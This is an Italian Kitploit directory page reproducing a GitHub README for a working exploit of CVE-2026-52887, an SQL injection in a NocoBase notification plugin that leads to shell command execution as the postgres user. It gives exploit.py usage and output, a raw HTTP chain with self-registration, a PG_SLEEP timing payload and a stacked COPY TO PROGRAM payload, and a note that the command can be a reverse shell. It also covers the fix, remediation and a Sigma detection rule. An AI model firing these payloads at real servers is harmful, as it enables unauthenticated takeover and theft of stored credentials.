Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-52887-NocoBase-SQLi-RCE — CVE-2026-52887 — Iniezione SQL in NocoBase -> RCE come superutente PostgreSQL (filtro myInAppChannels:list, CVSS 10.0). PoC dell'autore + analisi del sorgente + laboratorio docker. | Kitploit
Strumenti/GitHubGitHub/biitts/cve-2026-52887-nocobase-sqli-rce
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza dei DatabaseLab e Pratica
GitHubbiitts/cve-2026-52887-nocobase-sqli-rce

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-52887-NocoBase-SQLi-RCE

CVE-2026-52887 — Iniezione SQL in NocoBase -> RCE come superutente PostgreSQL (filtro myInAppChannels:list, CVSS 10.0). PoC dell'autore + analisi del sorgente + laboratorio docker.

Vedi Repository
17 giorni faNon ancora revisionato

CVE-2026-52887 — NocoBase iniezione SQL → RCE come superutente PostgreSQL

Iniezione SQL nell'azione myInAppChannels:list del plugin @nocobase/plugin-notification-in-app-message (≤ 2.0.60) di NocoBase. Il parametro di richiesta filter[latestMsgReceiveTimestamp][$lt] viene interpolato direttamente in una stringa SQL grezza Sequelize.literal() senza escaping né binding. Grazie al supporto per istruzioni impilate (stacked statements) del driver PostgreSQL pg, l'iniezione raggiunge COPY … TO PROGRAM e, poiché il compose predefinito del vendor crea il ruolo DB nocobase come superutente, ciò consente l'esecuzione di comandi shell come utente di sistema postgres. L'endpoint richiede un utente autenticato, ma il plugin predefinito auth-basic include la registrazione autonoma abilitata, quindi qualsiasi visitatore anonimo può registrarsi e raggiungerlo.

Causa principale

packages/plugins/@nocobase/plugin-notification-in-app-message/src/server/defineMyInAppChannels.ts, gestore myInAppChannels:list (2.0.57):

root@kitploit:~
const latestMsgReceiveTSFilter = filter?.latestMsgReceiveTimestamp?.$lt
    ? Sequelize.literal(`${latestMsgReceiveTimestampSQL} < ${filter.latestMsgReceiveTimestamp.$lt}`)
    : null;

filter.latestMsgReceiveTimestamp.$lt arriva direttamente dalla query della richiesta (filter[latestMsgReceiveTimestamp][$lt]=…) e viene concatenato in un Sequelize.literal() — SQL grezzo, nessun binding di parametri, nessuna coercizione di tipo. Un attaccante può chiudere il confronto e appendere SQL arbitrario.

Da SQLi a RCE

  • NocoBase gira su PostgreSQL tramite il driver pg, che consente istruzioni impilate (… ; …). Il frammento iniettato aggiunge una seconda istruzione.
  • Il docker-compose.yml predefinito del vendor crea il ruolo nocobase tramite POSTGRES_USER dell'immagine postgres, che è sempre un superutente.
  • Un superutente può eseguire COPY (…) TO PROGRAM '<shell>', mandando in esecuzione <shell> come utente di sistema postgres all'interno del container del DB.

Raggiungere l'endpoint senza autenticazione

L'ACL myInAppChannels è loggedIn, ma il plugin predefinito auth-basic include allowSignUp: true. Un attaccante anonimo si registra autonomamente (POST /api/auth:signUp?authenticator=basic), effettua il login per ottenere un bearer token e procede — quindi su un'installazione predefinita risulta di fatto non autenticato.

La correzione (2.0.61)

defineMyInAppChannels.ts aggiunge parseLatestMsgReceiveTimestampLt(), che forza il valore attraverso Number() (respinto con un 400 se non finito / non numerico) e passa a un confronto vincolato:

root@kitploit:~
Sequelize.where(Sequelize.literal(latestMsgReceiveTimestampSQL), Op.lt, latestMsgReceiveTimestampLt)

Prova di concetto

root@kitploit:~
$ python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
[+] self-registered 'lab_operator' via auth-basic signUp
[+] signed in, bearer token acquired
[*] time-based: PG_SLEEP(5)=5.03s  control=0.02s
[+] SQL injection confirmed (time-based)
[+] COPY TO PROGRAM sent (HTTP 200) - 'id > /tmp/proof 2>&1' executed as the postgres OS user

$ docker exec nb-pg cat /tmp/proof
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

Catena HTTP grezza:

root@kitploit:~
POST /api/auth:signUp?authenticator=basic          {"username":"a","password":"P!ssw0rd1","confirm_password":"P!ssw0rd1"}
POST /api/auth:signIn?authenticator=basic           {"account":"a","password":"P!ssw0rd1"}  → {"data":{"token":"…"}}

# time-based oracle (≈5s delay):
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0)%20AND%201=(SELECT%201%20FROM%20PG_SLEEP(5))--%20a
Authorization: Bearer <token>

# stacked-statement RCE:
GET /api/myInAppChannels:list?filter[latestMsgReceiveTimestamp][$lt]=0);%20COPY%20(SELECT%201)%20TO%20PROGRAM%20'id%20>%20/tmp/proof'; --%20a
Authorization: Bearer <token>

--cmd accetta qualsiasi comando shell (reverse shell, callback OAST, lettura delle righe del DB tramite COPY (SELECT …) TO PROGRAM 'cat > /tmp/x', ecc.).

Riprodurre il lab

Nessun docker bridge su questo host, quindi esegui entrambi i container con la rete host:

root@kitploit:~
docker run -d --name nb-pg --network host \
  -e POSTGRES_USER=nocobase -e POSTGRES_PASSWORD=nocobase -e POSTGRES_DB=nocobase postgres:16
docker run -d --name nb-app --network host \
  -e DB_DIALECT=postgres -e DB_HOST=127.0.0.1 -e DB_PORT=5432 \
  -e DB_DATABASE=nocobase -e DB_USER=nocobase -e DB_PASSWORD=nocobase \
  -e APP_KEY=change-me -e APP_PORT=13000 nocobase/nocobase:2.0.57
# NocoBase auto-installs and serves on http://127.0.0.1:13000
python3 exploit.py -u http://127.0.0.1:13000 --cmd "id > /tmp/proof 2>&1"
docker exec nb-pg cat /tmp/proof

Verifica della versione corretta (payload respinti):

root@kitploit:~
docker run ... nocobase/nocobase:2.0.61   # same steps
# the PG_SLEEP / COPY TO PROGRAM payloads return HTTP 400; a numeric $lt still returns 200

Vedi EVIDENCE.txt per la trascrizione catturata e ANALYSIS.md per l'analisi a livello di sorgente.

Verdetto

CONFERMATO VULNERABILE su nocobase/nocobase:2.0.57, verificato con due tecniche indipendenti:

  1. Blind basata sul tempo — il payload PG_SLEEP(5) ritarda la risposta di ~5.0s, mentre una richiesta identica senza il sleep risponde in ~0.03s sullo stesso endpoint (esclude un rate limiter / artefatto di retry).
  2. RCE tramite istruzioni impilate — un file che non esisteva prima della richiesta contiene uid=999(postgres) gid=999(postgres), il vero output di id(1) eseguito come utente di sistema postgres, non un echo del payload.

CORRETTO su nocobase/nocobase:2.0.61 — entrambi i payload restituiscono HTTP 400, mentre un $lt numerico restituisce ancora 200.

Impatto

Esecuzione remota di codice come utente di sistema postgres all'interno del container del database: lettura/scrittura completa del database NocoBase, divulgazione di tutti i segreti e le credenziali utente memorizzati e una base per il movimento laterale. Raggiungibile da qualsiasi visitatore anonimo su un'installazione predefinita.

Rimedio

  • Aggiorna a NocoBase ≥ 2.0.61.
  • Non eseguire il ruolo PostgreSQL dell'applicazione come superutente; concedi solo i privilegi necessari all'app (rimuove la primitiva COPY … TO PROGRAM).
  • Disabilita la registrazione autonoma pubblica (allowSignUp: false) dove non richiesta.

Rilevamento

Richieste myInAppChannels:list il cui valore filter[latestMsgReceiveTimestamp][$lt] non è un semplice numero, e log PostgreSQL contenenti COPY … TO PROGRAM:

root@kitploit:~
GET /api/myInAppChannels:list  with filter[latestMsgReceiveTimestamp][$lt] containing
   non-numeric characters: ')', ';', 'SELECT', 'PG_SLEEP', 'COPY', '--'
postgres: statement: COPY (...) TO PROGRAM '...'

Sigma (log di accesso webserver):

root@kitploit:~
title: NocoBase myInAppChannels SQL injection (CVE-2026-52887)
logsource: { category: webserver }
detection:
  selection:
    cs-uri-stem|contains: '/api/myInAppChannels:list'
    cs-uri-query|contains:
      - 'PG_SLEEP'
      - 'TO PROGRAM'
      - '$lt]=0)'
      - '$lt]=0);'
  condition: selection
level: critical

Licenza

MIT. © Caio Fabrício (BiiTts).

Scarica lo strumento
CVECVE-2026-52887
ProdottoNocoBase (@nocobase/plugin-notification-in-app-message)
Versioni interessate≤ 2.0.60 (verificato su nocobase/nocobase:2.0.57)
Corretta2.0.61
ClasseIniezione SQL (CWE-89) → esecuzione di comandi del sistema operativo
CVSS 3.110.0 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (GitHub CNA)
AutenticazioneEffettivamente non autenticato — auth-basic predefinito allowSignUp: true
StatoCONFERMATO VULNERABILE — verificato end-to-end su 2.0.57